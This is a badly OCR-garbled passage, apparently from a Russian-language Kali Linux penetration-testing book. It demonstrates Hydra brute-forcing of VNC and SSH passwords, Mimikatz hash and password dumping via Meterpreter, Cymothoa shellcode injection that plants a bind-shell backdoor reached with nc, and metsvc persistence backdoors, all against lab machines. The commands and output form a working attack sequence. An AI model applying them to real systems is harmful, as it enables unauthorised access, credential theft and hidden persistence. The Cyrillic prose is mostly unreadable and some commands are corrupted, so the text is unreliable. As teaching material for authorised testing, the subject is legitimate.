susupys URL (Uniform Resource Locator). 3aTeM 3TOT CIIMCOK MOKHO UCIIOJIb30BATh
B TaKMX MHCTPYMEHTAX B3JioMa mapouieii, kak John the Ripper.

Huxe rnipuBeienbl HECKOJIBKO 10JIe3HbIX TapameTpoB CeW L.

Q depth Num -d N — ycranasiusaer riayouny, Ha kotopyio CeLW Gyzner onyckaTbes
1Ipy ckanupoBauuu caiita. [lo ymosyanuio 3ajano snayenue 2.

Q min_word_length N ujm -m N — MUHMMAaJIbHAS [JIMHA CJIOBA, 10 YMOJYAHUIO BEIOPAHO
3HayeHue 3.

O verbose Wi -v — BEIOMPAETCSI PEKUM MOAPOOGHOTO BHIBOJIA.

O write WM -w — PEKIM, TIPH KOTOPOM BCST IOy deHHast nHGOpMaIus OyeT 3ammcana
B haiir.

Eciu y Bac B Kali Bosnukia npob6iema c sairyckom CeWL 1 mosiBUIOCh Takoe co-
obiienne o6 ormubKe: Error: zip/zip gem not installed (Omm6ka: zip/zip gem He yCTaHOBJIEH),
HCIIOJIb3YiiTe KOMaHLy gem install zip/zip Ui YCTAaHOBKU HEOOXOIMMOTO MTPHJIOIKE-
Hust. T0OBI yCTPAHUTD ATY TPOGIIEMY, ITPOCTO CJAEAYITE PEKOMEH/IAIINSM [0 YCTAHOBKE
MPUIOKEHNS Zip gem:

gem install zip

Fetching: zip-2.0.2.gem (100%)

Successfully installed zip-2.0.2

1 gem installed

Installing ri documentation for zip-2.0.2...
Installing RDoc documentation for zip-2.0.2...

[TompobyeM co3aTh TTOJMB30BATENBCKIH CITMCOK CJIOB C TeIeBOro caiira. Jlist atoro
BOCTIOTb3yeMCsT BeTpoeHHbIM B Metasploitable catirom. /It cozmanms cnmcka cioB
npeHa3HavyeHa cuaeyomas komanna CeWL:

cewl -w metasploitable.txt http://172.16.43.156/mutillidae

Yepes HEKOTOPOE BpeMst CITUCOK ¢JI0B Oyet cozzan. B Kali Berxozibie nanmbie xpa-
HATCA B root-KaTajore.
Hwske npuBoauTest yacts cojepskumoro daiina target. txt:

the
Injection
var

and
Storage
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Site

Data

User

Log

Info

blog

File

HTML5
Login
Viewer
Lookup
securitylLevelDescription
Mutillidae

Hydra

Hydra — 970 HHCTPYMEHT, KOTOPBIA MOKHO MCIOTBb30BATH [7IsT MOAO0OPA MM B3JTOMa
MMEHU TTOJIb30BaTes ¥ apossi. NHCTPYMEHT MOJIEPKIBACT MHOTOUUCICHHBIE CeTe-
Bbie poToKoJIbI, Takue kak HTTP, FTP, POP3 u SMB. [I71s1 paboTbl €My HYKHbBI HMsI
noJib30BaTesist 1 napoJib. Hydra nbrraerest mapassiesibHo BOWTH B CETEBYIO CIy KOy U 110
YMOJTYAHUIO JIJIT BXO/IA UCTIOJIb3YeT 16 MoaKIIIoueH it K 11e/1eBOiT MallinHe.

Jlst samycka Hydra BBesinTe B KOMaHAHYIO CTPOKY TEPMUHATA CTIEYIONTYI0 KOMAHITY:

# hydra

Ha axpane nosiBsatcs uncrpykimu o pabore ¢ Hydra.

B HareM yrpaxxHeHUH Mbl, IPUMEHsIS TPYOYIO Uy, MonpoGyeM TTOJAyYUTh Napoib
st VNC-cepBepa, pacroiozxkenHoro 1o azgpecy 172.16.43.156. IIpu 9Tom MbI BOCITIOJIb-
3yeMcst TTapoJisiMu 13 hafia password. 1st. UTo6br HauaTh MOAGOP TAPOJIs, BBEINTE
B KOMaH/IHYIO CTPOKY TepMIHAJIA TaKyI0 KOMaH/Y:

# hydra -P password.lst 172.16.43.156 vnc

PesynbraT ee BeiosiHenns mokaszan Ha puc. 9.13.
Ha puc. 9.13 Buano, uro Bajomiquk Hydra cmor momzo6parh cieayroliie napoin
VNC.: password01 u password.

root@kali:~# hydra -P password.lst 172.16.43.156 vnc
Hydra v8.1 (c) 2014 by wvan Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-30 18:38:06
[WARNING] you should set the number of parallel task to 4 for vnc services.

[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~B trie
s per task
[DATA] attacking se e vnc on port 5900

[ host : 2l et Azl password:
ly completed, 1 wvalid password found

www .the .org/thc-hydra) finished at 2016-04-30 18:38:06

Puc. 9.13. Pe3ynbtat nogbopa napons
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Yto6BI IPOBEPUTD, TIPABUIBHbI JIM HANJCHHBIE TTAPOJIU, 3aMyCTUTE vncviewer Ha
y/IaJIEHHOM KOMIIBIOTEPE U MCITOJB3YITE UX JIJIT BXO/IA B II€JIEBYIO CUCTEMY.
Ha puc. 9.14 nokazan pe3yabTaT 3aIycka vncviewer.

e 0 ©

TightVNC: root's X desktop (metasploitable:0)

I root@metasploitable:
rootEmetasploitabless# [l

Puc. 9.14. MNposepka naposnen, HaaeHHbIX C MOMOLLbIO MHCTPyMeHTa Hydra

Ha puc. 9.14 mbl BusinM, uto MokeM BoiTH Ha cepBep VNC, ncnosb3ys nosydyeHHble
MapoJsu, 'y Hac ecTh yueTHble ganubie VNC root. DantacTukal
[Tomumo komaHHO# cTpoky Hydra, BbI Takske MOKETE MCIOIb30BaTh TpahUueCcKuii

nHTepdetic, BBITIOJHNUB CJAEAYIONTYT0 KOMaHTY:
# xhydra

Ha puc. 9.15 nokasan pesysbrar sanycka Hydra GTK mias ataku Ha ciay:x0y SSH
IeJIEBOTO OOBEKTA.

xHydra
Quil
Target || Passwords | Tuning | Specific l Starl

Output
R
]H\rdla v8.1 [c) 2014 by van Hauser/THC - Please do nol use in mililary or secrel service organizations, or for illegal purposes.

|Hydra (http:/fwww. the orgfthc-hydra) starting at 2016-04-30 18:42:36
\[DATA] max 1 task per 1 server, overall 64 tasks, 1 legin try (:1/p:1), =0 tries per task

[[DATA] attacking service ssh on port 22
([WARNING] Many 55H configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

i[ZZ][ssh] host: 172.16.43.156 login: msfadmin password: msfadmin
|<ﬁnished>

| Startl Stop lS ave UutputJ Clear Output

hydra -s 22 -1 mstadmin -p msfadmin -t 16 1/2.16.43.1456 ssh

Puc. 9.15. Mpacdmyecknin nHtepdeliic Hydra

Mimikatz

Mimikatz — 510 WHCTPYMEHT, IPUMEHSIEMBIN MOCJIE DKCIIyaTallii PaHee HalIeHHO
YA3BUMOCTH. Ero nHasHaueHue — 11oMOYb UCIIBITATEJIIO HA IIPOHUKHOBEHME B ITO/I/IEPKa-
HUU JOCTYIIAa 1 KOMIIPOMETUPOBATDH YUYE€THBIEC JaHHBIE TTOCJIE TTOJTYIE€HUA TOYKU OTIOPDI.
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ITa aBTOHOMHasI IIporpamMmMa Bolilia B cocTas IaTdopmbl Metasploit. Mimikatz rmosso-
JiieT cobMpaTh yYEeTHBIE JAHHbIE B CKOMIIPOMETUPOBAHHOM crucTeMe 6e3 HeoOXOIMMO-
CTHU BBIXOJIa M3 CTPYKTYypsl Metasploit. I[Tocsie TOro Kak 0CTYI K CHCTEMHOMY YPOBHIO
oJIy4yeH, MokHO 3amyctuth Mimikatz B o6o0uke Meterpreter. [ljis aToro ciaemyer
BBITIOJTHUTD TAKyI0 KOMaHLY:

meterpreter > load mimikatz

Yrobsr mocste 3arpyskn Mimikatz moayduTh CIHCOK MOCTYMTHBIX KOMAH/], BBEUTE
CIeIYTONLYI0 KOMaHLy:

meterpreter > help mimikatz

Ha puc. 9.16 BbI BupiMiTe CliicOK KOMaH/I.

meterpreter = help mimikatz

Commands

kerberos Attempt to retriewve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz command Run & custom command

msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retriewve ssp creds

tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retriewve wdigest creds

Puc. 9.16. Cnncok komaHa mimikatz

CymectByeT aBa criocoba ncnosibzosanus Mimikatz ¢ Metasploit. ITepsbrit —
¢ HoJIHBIM criekTpoM pyHknuii Mimikatz. CooTBeTcTByOIIas KOMaHIa HAYUMHAETCS
¢ mimikatz_command. Hampumep, ecaint XoTHTE COPOCUTH XEITN U3 CKOMIIPOMETHPOBAH-
HOIT CHCTEMBI, BBEJINTE CJIEAYIONIYI0 KOMaHIY:

meterpreter > mimikatz_command -f sampdump::hashes

Ha Boixosie mosryunte cnemnyioriee (puc. 9.17).
JIpyroit 0COGEHHOCTHIO SIBJISIETCS] BO3MOKHOCTD TIOMCKA YUETHBIX JTJAHHBIX HA CKOM-
MIPOMETUPOBAHHOI MatuHe. J[Jist 3TOTo MpeiHazHaueHa Takast KOMaH/Ia:

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

Ha Boixozie Mbl BuimM, uto Mimikatz cMor mosryauTs maposib aiMUHICTPATOPA JJIST
cucremsbl (puc. 9.18).

Metasploit Tak:ke cOmepKUT HECKOTIBKO KOMaH/I, KOTOPbIe HCIT0Ab3yI0T Mimikatz
JUUIS BBIIIOJIHEHMS JeHCTBUI TToC/Ie 9KCIyaTanuu ysa3suMocT. [Togo6H0 KoMaH/ie
hashdump, cieayiomnias KoManaa cOpOCUT XeIIH CKOMIIPOMETUPOBAHHOM CHCTEMBbI:

meterpreter > msv
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meterpreter = mimikatz_command -T samdump::hashes
Ordinateur : XP-Mode

: 8c3570albadl@f4Z2b fdBbbSedB8edl850

;5006

: Administrator

: ebd76370cb546ec488258cc182813ala
: a3BadaBh96e5T958f fe8f94762773c7h

: 5@1
: Guest

: 1ee2
: SUPPORT 388845a0

: Sbf642b60be2908bE14b7c337aal36e7

: 1ee3

: XPMUser

: baBB8758a%bc f77f72ad3b435b51404ee
: 40aBBB62cafcdd46dfabb//ba3daBcale

Puc. 9.17. PesynbTaT cbpoca XeLen

rpreter = mimikatz_command -f sekurlsa::searchPasswords
Administrator ; XP-MODE ; xpmodepassword }
Administrator ; XP-MODE ; xpmodepassword }

Puc. 9.18. Mimikatz nonyuvnn napons agMuHUCTpaTopa

Ha Boixoze Mt yBuanm caenyioriee (puc. 9.19).

[+] Running as SYSTEM
[*] Retrieving msv credentials

User Password

Negotiate NT AUTHORITY NETWORK SERVYICE 1m{ aad3b435b51404ececaad3b43
5b51404ee }, ntlm{ 31d6cfeldl6ae831b73c55d7eBcRB5ch }
0;1014485 NTLM XP-MODE Administrator 1m{ eb476370cb546ec488258cc
182813ala }, ntlm{ a3B8a4aB8596e5f959ffedf24762773c76 }
0,;997 Negotiate MWT AUTHORITY LOCAL SERYICE n.s. [(Credentials KO)
6071 NTLM n.s. [(Credentials K0O)
El] NTLM WORKGROUP XP -MODE$ n.s. (Credentials KO)

04
09

Puc. 9.19. C6poc xeLlelit CKOMNPOMETUPOBAHHON CUCTEMbI
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I pyras komanga Metasploit, kotopas ucnosnbssyer Mimikatz, — Kerberos, koTopast Ha
CKOMITPOMETHPOBAHHOM KOMIIBIOTEPE MOTYYHT YUETHBIE JAHHBIE B BUJIE OTKPBITOTO TEKCTA:

meterpreter > Kerberos

PesysbraT ee BbInosiHeHUS IpUBe/ieH Ha puc. 9.20.
meterpreter = kerberos

[-;-] Running as SYSTEM
[*] Retrieving kerberos credentials

AuthID Package Domain User Password

MNT AUTHORITY LOCAL SERVICE
Negotiate NT AUTHORITY NETWORK SERVICE
NTLM
NTLM WORKGROUP XP-MODE$
4485 NTLM XP -MODE Administrator xpmodepasswo rd

Puc. 9.20. Pe3ynbTaT, NOMyYEHHbIV NOCne BbINOHEHUs koMaHabl kerberos

[Noanep>kaHue gocTyna

[Tocsie OBBITIIEHWST TPUBMJIETHH HA TI€JIEBOI MaNTHE HAM HYKHO CO3/IaTh MEXaHU3M
IUTST TIO/UIEPIKAHTST HATero ocTyma. [1o3ke, KOT/Ia NCTTOMb3yeMast YsI3BUMOCTD Oy IeT
HCTIpaBIeHa WIN OTKII0YeHa, 6IAToapss STOMY MEXaHU3MY BBl BCE PABHO CMOKETE
MOJTYYUTH JIOCTYI K cucTeMe. IIpeske 4eM co3/aTh 3TOT MEXaHNU3M B CHCTEME BAIero
KJIMEHTA, BaM CJeyeT MPOKOHCYIbTHPOBAThCS ¢ HUM. KpoMe TOTO, BO BpeMsI TecTh-
pOBaHN Ha TIPOHUKHOBEHIE BAKHO YOEIUTHCST, UTO BCE OIKIOPDI TOKHBIM 00pa3om
3aJJ0KyMEHTUPOBAHbI 1 MOCJIe UCTIBITAHUS Ha TPOHUKHOBEHNE X MOKHO GeCrpersit-
CTBEHHO y/IaJIUTh.

Temepb paccMOTPUM WHCTPYMEHTBI, MTO3BOJISTIONINE HAM MOIEPKUBATH OCTYIT HA
TeJIeBBIX MamuHax. VIHCTPYMEHTHI KIaCCHbUTIUPYIOTCS CIEAYIONIM 00pa3oM:

QO 63KZ0PBI [IJIsI BXOJIA B ONEPAIUOHHYIO CHCTEMY;
O WMHCTPYMEHTHI TYHHEJIUPOBAHUS;

O OGaxxopsl uepes Beb.

Bakaop Ans BXoAa B ONeEpaLMOHHY CUCTEMY

Boaxnop (backdoor — «3aaHsist 1Bepb» WM «4EPHBII XOA») — 9TO METO/I, KOTOPBIH 110-
3BOJISIET HAM TIOJJIEPKIBATH IOCTYII K TI€IEBOI MaInHe 6e3 UCII0Ib30BaHUSA OOBIYHBIX
IIPOIIECCOB ayTEHTUMUKAIII 1 OCTABAThCSI He3aMeUYeHHBIMU. B aToM mospasesie Mbl
06CyIMM HECKOJIBKO MHCTPYMEHTOB, KOTOPBIE MOKHO UCITIOJIb30BATH B Ka4eCcTBe HaKI0pa
IS IOCTYTIA B OTIEPAIIMOHHYTO CHCTEMY.
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Cymothoa

Cymothoa — MHCTPYMEHT, CO3IAIOIINI B OIIEPAIIMOHHON cucteMe YepHbIil X0, Cymothoa
N0OABJISIET B CYIIECTBYIOMINI TIPOTIECC CBOH KO 060TOUKM. ITO AENAETCS IS TOTO, UTO-
6T 3aMaCKUPOBATH BPEIOHOCHBII MHCTPYMEHT MO/l PETYJISIPHBIH TTpotiecc. Baxaop mo-
JKE€H VIMETh BO3MOKHOCTH COCYIIIECTBOBATD ¢ BBEJIEHHBIM MPOIIECCOM, YTOOBI HE BBI3bI-
BaTh IOJI03PEHNH y afMUHUCTpaTopa. Beegenne koga obosouku (shellcode) B mporece
HMEeT €llle O/[HO MPEUMYIIECTBO: €CJIV B IIEJIEBOH CHCTEME eCTh CPEACTBA 6e30MacHOCTH,
KOHTPOJIMPYIOIIHE TOIBKO MEJTOCTHOCT UCTIOTHIEMBIX (hAIOB, HO He BBITIOMHSIONINE
IPOBEPKY MaMATH, 63KI0p 00HAPYKEH He OyIeT.

Jlna samycka Cymothoa mpocTo BBeNTE B KOMAHHYIO CTPOKY CIEAYIONTYIO KOMAH/TY:

cymothoa

Ha skpaHe nosisutcst cripasoutas crpanuiia Cymothoa. O6s3aTesibHO He0OXO0AUMO
BBECTHU TaKue MapaMeTpbl, Kak udenmuguxamop npouecca (PID) — -p u nomep xoda
o6onouxu (shellcode number) — -s.

Hnsa onpenenenns PID Ha 11e1eBoM KOMTIIbIOTEpE MOKHO UCIOJIH30BATh KOMaH-
1y ps. A Homep shellcode onpezessiercs ¢ moMorpio mapamerpa -S (CIMCOK ZOCTYITHBIX
shellcode) (puc. 9.21).

root@kali:~# cymothoé =5

8 - bind /bin/sh to the provided port (reguires -y)
1 - bind /bin/sh + fork() to the provided port (requires -y} - i1zik =izik@tty64.
org>
2 - bind /bin/sh to tcp port with password authentication ({requires -y -o)
/bin/sh connect back {reguires -x, -y}
tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)
script ution { the payload), creates & tmp file you must remove
forks an HTTP Server on port tcp/8800 - http nomuta . tuxfamily ;org/
serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com
forkbomb {just for fun...) - Kris Katterjohn
open cd-rom loop {follows / cdrom symlink) - izik@ttyB4.org
- audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)
POC alarm({) scheduled shellcode
POC setitimer({) scheduled shellcode
alarm{} backdoor ({reguire -j -y) bind port, fork on accept
setitimer({) tail follow (requires -k -x -y) send data via upd

w

4
5
6
7
B
9

Puc. 9.21. Monyyaem Cnmcok AOCTYMHbIX KOAOB 060104eK

Kax Tosbko 1iesreBast Matnmta 6y1eT CKOMITPOMETHPOBAHA, IS CO3MaHus 6aKI0pa
HYZKHO CKOITPOBATh Ha Hee OMHAPHBIiT (haitn Cymothoa.

Korza nsonunblii aitsn Cymothoa cTaHeT A0CTYIIEH Ha 11eJIeBOii MalllHe, BaM HY>KHO
y3HaTh IIPOIecc, KOTOPBI BbI XOTUTE BBECTH, M THII Koja obosouku (shellcode).

YT00OBI EPEUNCTUTD 3ATMYIEHHBIE B cicTeMe Linux MPOIEecchl, MbI HCTOTb3YeM
KOMaHjy ps € apamerpamu -aux. Ha puc. 9.22 nokasaH pesysibTar ee BbIIOJTHEHUSI.
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B BBIXO/IHBIX JAHHBIX MBI BUJNM HECKOJIBKO CTOJIOIOB, U3 KOTOPBIX HAC UHTEPECYIOT
cresylonue:
O USER (riepBbiii cTosibenr);
Q PID (BTOpOIi cTOMGE);
O COMMAND (OMHHAIATBIN CTOMOEIT).

B arom yrpaxkueHuu mbl yraskem PID 2765 (udevd) u Gy/ieM HCIOJIB30BATD 110-
JIe3Hy1o Harpy3ky 1. Ham Hy’KHO yCTaHOBUTH HOMED IOpTa JIJIS NTOJIe3HOI HATPY3KH,

UCTIONIb3YsT napameTp -y (Homep nopra 4444). Jlanee npuBenena komanga Cymothoa
JIJIST 3TOTO CIleHapUSI:

./cymothoa -p 2765 -s 1 -y 4444

[scsi_eh, 0]
[scsi 1]
[ksuspend. usbd]
[ khubd]
[scsi, eh 2]

[btaddconn]
[btdelconn]
[kjournald]
/sbin/portmap

w1 I I

Puc. 9.22. Cnncok 3anyLyeHHbIX NpoLeccoB

PesysbraT ee BbITIOJIHEHUS TTOKa3aH Ha puc. 9.23.

[+] attaching to process 2765
register info:

eax value: ffffeld ebx value:
esp value f95584c eip value:

new esp: BOxbf955848
injecting code into Oxb7f63000
copy general purpose registers
detaching from 2765

infected!!!

Puc. 9.23. Pe3synbTaT BbINOHEHWS] KOMaHAbI MO BbIGOPY NopTa Ans NOME3HON Harpy3Kku

Teneps nornpobyeM BOWTH B cUCTEMY depe3 YepHbIil Xoz (nopT 4444) ¢ apyroii ma-
muHbL. /{7151 9TOr0 BBIIOJIHUTE CJIEYIONIYI0 KOMAH/LY:

nc -nvv 172.31.99.244 4444
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3nech 172.31.99.244 — sTo IP-anpec 1ieneBoro cepsepa.
M1 osryuum coreytoniuii pesyabTat (puc. 9.24).

root@kali:~# nc. -new 172.31.00 244 4444

(UNKNOWN) . [[172.31.99.244]; 4444 (?) vpen

id

uid=B({root) gid=0(root)

uname. -a

Linux metasploitable 2.6 24-16-server #1 SMP Thu Apr 10 13:58:008 UTC 20608 iG86 G
NU/Linux

inilra
initrd.aimg
lib
lost+found

Puc. 9.24. Bxoaum B LieneByto MalmMHy Yyepes 63kaop

Mu1 YCIIenIHoO MOARIIOYNJINCD K 1IeJIEBOM MalllimHe qgepes3 CO3IaHHbBII 63KZ[OI) 1 CMOTJIN
MMOJIYYUTb HECKOJBKO KOMaH/I.

o) MockonbKy 63KAOP MOAK/IHYEH K 3anyLieHHOMY Mpoueccy, Npy yaaneHum
|:| 3TOro mpouecca uan nepesarpyske KOMMbloTepa AOCTYN K MawuvHe byget
noTepsiH. YTobbl 3TOro nsbexaTtb, CNeayeT co3aaTh NMOCTOSIHHbIN 63KA0p.

bakgop Meterpreter

WHucrpyment Meterpreter miardopmsl Metasploit cogep:kut 6aK10p metsve, KOTOPbIT
B JII000€ BPEMsI ITO3BOJIUT BaM co371aTh 060J04Ky Meterpreter.

Vwmeiite B BUY, 4TO B GKIOPE metsvc HET JIOTMHA U HapoJist Il TI0JIhb30BaTE s,
[ToaToMmy /1060, KTO HOJTYYUT AOCTYII K TIOPTY GIKI0PA, CMOJKET €rO UCTIOJIb30BAaTh.

B nanrem nmpumepe B KauecTBe MAIIMHBI-)KEPTBBI MBI BO3BMEM OTIEPAIMOHHYIO CH-
cremy Windows XP, IP-aapec kotopoit — 192.168.2.21. IP-aapec aTakyromieil Marim-
el — 192.168.2.22.

Jluist BRJTtoueHMs 69K10pa netsve cHadasa HeoOXOAMMO CO3/IaTh B 1I€JIE€BOIl chcTe-
Me 06oJouky Meterpreter. ITocsie 9TOTO ¢ TIOMOTIBIO KOMaH/IbI meterpreter migrate
riepeHecuTe MPOoIlece Ha IpyTHe TPOoIecchl, HarpuMep explorer.exe (2) (mone3nas Ha-
rpyska 2). B aTom cirydae, ecin Ha [eJIeBOM KOMITbIOTEpE TToJIe3Hast Harpyska 1 Gyer
3aKPBITa, IOCTYII K cucTeMe coxpanutes (puc. 9.25).

JlJ1s ycTaHOBKY cepBrca metsvc BBEAUTE B KOMAHIHYTO CTPOKY CJIEAYIONTYIO0 KOMAH/TY:

run metsvc
Ha puc. 9.26 npuBesien pe3yabTat ee BHITTOTHEHUSI.

Temeps miepeiiziem k 1esieBoi Mammue. bakgop poctyren o agpecy C:\Documents
and Settings\Administrator\Local Settings\Temp\PvtgZxEAL.
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st .oxe

spoolsy . oxe

\Dnctﬂmnts and Battings\umer\l}asktoe\mat -back.axal

RPID PRID Name Arch Session User Path

] a [System PFrocess] ATGALE /780

4 a System *B6 @

136 1308 ctfmon.oxe =xBHE ] THE -FACEBDNIGCAY CAWINDOWS\system32\ct tman . axe
180 556 alg.axe ®BE @ CWWINDOWS\Systam32\alg.axe

378 4 SMSS . X0 xHE <] NT AUTHORITY\SYSTEM \SystomRoot \System3Z\smss . oxo

346 924 wscntfy.axe xB6 @ THE -F4CEGDDIBCAN C:AWINDOWS\systam32\wscntfy.axe
4HE 378 csrss.exe xHE ] NT AUTHORITY\SYSTEM APANCAWINDOWS \ system32\csrss . exe
584 328  winlogon.exe ®B6 0 NT AUTHORITYASYSTEM A ??AC:\WINDOWS\systam32\winlogon.axe
BhE 584  services.exe xBE ] NT AUTHORITY\EYSTEM CoAWINDOWS\system32\services . exe
568 584 lsass.axe xB6 0 NT AUTHORITYASYSTEM  C:AWINDOWS\system32\lsass.axa

748 556 VBoxService.exe xBE 8 NT AUTHORITYA\SYSTEM  C:\WINDOWS\system32\VBoxService.exe
788 556  swchost.exe %B6 0 NT AUTHORITYASYSTEM  C:AWINDOWS\system32\svchost.oxe
BEB 556 svchost.exe ¥BE @ C:WWINDOWS\system32\svchost .exe
924 556 svchost.exe *BE @ NT AUTHORTTYASYSTEM  C:AWINDOWS\System3Z\svchast .oxe
972 556 svchost.exe *B6 @ C:WWINDOWS\system32\svchost .exe

e = - @ = ~ ar
ﬁ ] 2 THE -F4CEEDDIECANuser  C\WINDOWS\Explarer.EXE

EL = spnolsy . nxn i) [¢] NT ALTHE By ala £

1444 556 scardsvr.exae xB6 @ CWWINDOWS\Systam32\SCardSvr.axe
1664 556  swvchost _exe xHE ] NT AUTHORITY\SYSTEM COAWINDOWS\system32\svehosl exe
1964 1308 VDoxTray.exae ®B6 0 THE -F4CSGDD3GCAN COWINDOWS\systam32\VBoxT ray .axe
] s spclt exp xHE LHE _E4CERNNARCA Lo INNOWEN syst e e 1L _pyp
I3463 1308 mat -back.axa xB6 0O 1 THE -F4CEGD036CAasEr C:

= e o= ERis.
Puc. 9.25. Co3gaHne nonesHom Harpysku 2

[7]

Service metsvc

melsve

eterpreter service on
L*] Creatina a temporary installation
== Uploadina metsrv 1

* Installing s
tarting service

port 31337

directory C:\DOCUME-1NADMINI-1\LOCALS-1\lemp\PvtgxEAL...

successfullv installed.

Puc. 9.26. YcTaHoBKa cepsuca metsvc

[To atomy mytu BbI yBupute EXE- u DLL-daiinbr metsve. Teneps mepesamyctum
MAIIMHY KE€PTBBI, YTOOBI YBUAETD, OyAeT i1 paboTaTh OIKI0D.
Ha araxyioreii Matmite Mbl 3aITycKaeM MyJIbTHOOPAGOTUHK ¢ TOJIE3HON HArpy3KOii
metsvc, UCTIOJIb3Y$T YKa3aHHble TapameTpsl (puc. 9.27).

msf exploit(handler) = show options

Module options {exploit/multi/handler):

Neme Current Setting Required Description

Payload options (windows/metsvc_bind_tcp):

Name Current Setting Heguired Description

EXITFUNC process
| PORT 31337

RIHOST 192.168.2.22

Fxploit target:
Td Name

[} Wildcard larget

yes
yes
no

Exit technique {(accepted: seh, thread, process, none)
The lislen port

The target address

Puc. 9.27. NapameTpbl ANist NMONE3HOW Harpy3ku metsvc
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[Tocsie Toro Kak Bce mapaMeTpsl OYIyT OTPe/IeIeHBI, s 3aMyCKa aTaku BBEIUTE
KoMaHpy execute (puc. 9.28).

msf exploit{handler) = explait

[*] Started bind handler
[*] Starting Lhe payload handler. ..
[*1 Meterpreter session 3 opened (192.168.2.22:47828 -»= 192.168.2.21:31337) at 2013-12-27 23:20:50 +6700

meterprater = i

Puc. 9.28. 3anyck metsvc

Ha puc. 9.28 BujHO, uTo aTaka ObLjTa BBIMOJHEHA yerenHo. Terneps y Bac CHOBA eCTh
cearc Meterpreter, KOTOPBII BBl MOJKeT€e HCITOH30BATH B CBOUX IEJISIX.

YT00B! YAAIUTH CEPBUC Metsve ¢ KOMIbIOTEPA-5KEPTBHI, BBHITIOJTHUTE U3 000JIOUKY
Meterpreter cienyrontyo KOMaHIy:

run metsvc -r

[Tocae storo ynamute daiiibl metsve ¢ IeIeBOro KOMIBIOTEPA.

Pe3iome

B 970ii T1aBe MBI OMPOOOBAJIH TIOBBICUTH TEKYIIHil YPOBEHD JOCTYIIA U C TOMOIIIBIO
PasHBIX THCTPYMEHTOB CKOMITPOMETHPOBATD JIPYTHE YUeTHbIE 3aITCH B cucTeMe. B cienry-
foIIell ry1aBe MbI Oy/IeM aTaKoBaTh BeO-TIPUIIOKEHSI M CAllThI, 4TOOBI HCIIOIB30BATH ILJIOXO
CKOH(UTYPUPOBAHHBIE KOHTPOJIbHbBIE TOUKU Ge30MacHOCTH. B 9TOM cityuae Mbl IOIyInM
JIOCTYII K CeTH M BHYTPEHHUM CHCTEMaM M CMOKEM M3BJIeYb HYKHbIC JaHHbIE.



TecTupoBaHue
BEO-NpMNoxxeHnn

B rmaBe 6 mbr moroBopuam o ToM, Kak ¢ momotnbsio Nessus 1 OpenVAS — nByx oyeHb
MOIIHBIX UHCTPYMEHTOB — MOKHO BBITIOTHUTD CKAHMPOBAHUE YsI3BUMOCTEN. B aToit rima-
B€ Mbl PACCMOTPUM MHCTPYMEHTbI, CIIEITUAIBHO MPeIHA3HAUYEHHbBIE JIJIST CKAHUPOBAHMS
BeG-TIPUIOKEHUI U aTaKK Ha HUX.

B GonbInHCTBO pazpabaThiBa€MbIX COBPEMEHHBIX IIPUJIOKEHUI MHTEIPUPYIOTCS
pasHooOpasHble BeO-TEXHOJIOTUI. DTO MOBHIIIAET UX CJAOKHOCTD M YBEIMYNBAET PUCK
PaCKpBITUS KOH(DUAEHINAIbHBIX JaHHbIX. BeG-1puioxenus Bcerga ObLIN 3aBETHON
1eJIBI0 3JI0YMBIIIIEHHNKOB. C TMTOMOTIBIO 3TUX MPUTOKEHUN OHU MOTYT BOPOBATh
JIAHHDBIE, TMAHTAKIPOBATH KOPIIOPATHUBHBIE TIPEATIPUSITIS M MAHUITYJIUPOBATD JIFOIbMU.
Pacnpocrpanenue Takux BeO-IIPUIOKEHUI TIOPOAIIO OIPOMHbIE IPOOJIEMBbI /IS UC-
mbiTaTesell Ha TPOHUKHOBeHMe. VX OCHOBHas 3aj1aua — obecrieueHre 6e30MacHOCTH
BHeIHero nHTepdeiica u 001Ieil ceTeBoil 6e30MacHOCTH, TaK KaK BHYTPEHHSIST YacTh
HPUIOKEHUS MOKET COJEPKATh Oas3bl JAHHBIX U JOINOJHUTENbHbIE MUKPOCEPBUCHI.
Beujy Toro uto BeG-NpUIIOKEHIE AeiCTBYeT Kak cucTeMa oOpaboTKY JaHHbBIX, a 6a3a
JIAHHBIX OTBEYaeT 3a XpaHeHue KOH(MUIEHIIMATBHBIX CBeJleHnit (Harpumep, nHGOp-
Malli¥ O KPEJAUTHBIX KapTaX, KIMeHTaX U ayTeHTHU(UKAINK ), TaKasl 3al[UTa IPOCTO
HeobOXouMa.

VIHCTPYMEHTBI, KOTOPbIE Mbl PACCMOTPHUM B 9TOII IIaBe, BKIIOYAIOT B ce0s1 CKaHepbl
BeO-IIPUJIOKEHMIT U YSI3BBUMOCTEM, IPOKCU-CEPBEPBI, TUIIbI aTaK Ha Gas3bl JAHHBIX, HH-
CTPYMEHTHI BeG-aTak U HEKOTOPble MHCTPYMEHTHI aTaKK KJenTa/Opaysepa.

TexHun4yeckne TpeboBaHUs

IIJIE[ ATOM IJIaBBI BaM HOHa[[O6I/ITCH cjaeaytouiee:

O Kali Linux;
O OWASP Broken Web Applications (BWA).
OWASP BWA — npesiBapuTesibHO HacTpoeHHast BupTyasibHas MainHa u3 OWASP

C KOJIEKIMEH YA3BUMBIX BeO-npuioskernii. Mbl Ha BUPTYanbHON Marnune OyeM pabo-
TaTh ¢ OAHMM U3 TaKUX Ipuiokennit — Damn Vulnerable Web App, DVWA.
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Beb-aHanus

B atom pasnesie Mbl paCCMOTPUM WHCTPYMEHTBHI, TIPETHA3HAUEHHBIE JIJISI BHISTBJICHUS
BO3MOKHBIX YSI3BUMOCTEH B BeO-TIpUIOKeHUsX. HEeKOTOpble 13 9TUX UHCTPYMEHTOB,
B uactHocTu Burp Suite u OWASP ZAP, BbIxoagT 32 paMK1 OTIEHKU YSI3BUMOCTEH JIJIsT
BeO- 1 06TAUHBIX TPUITOKEHIH U TTPEOCTABIIOT BOZMOKHOCTD aTAKOBATDL ATU YSI3BHU-
MOCTH, O Y€M MBI TOKE TIOTOBOPUM.

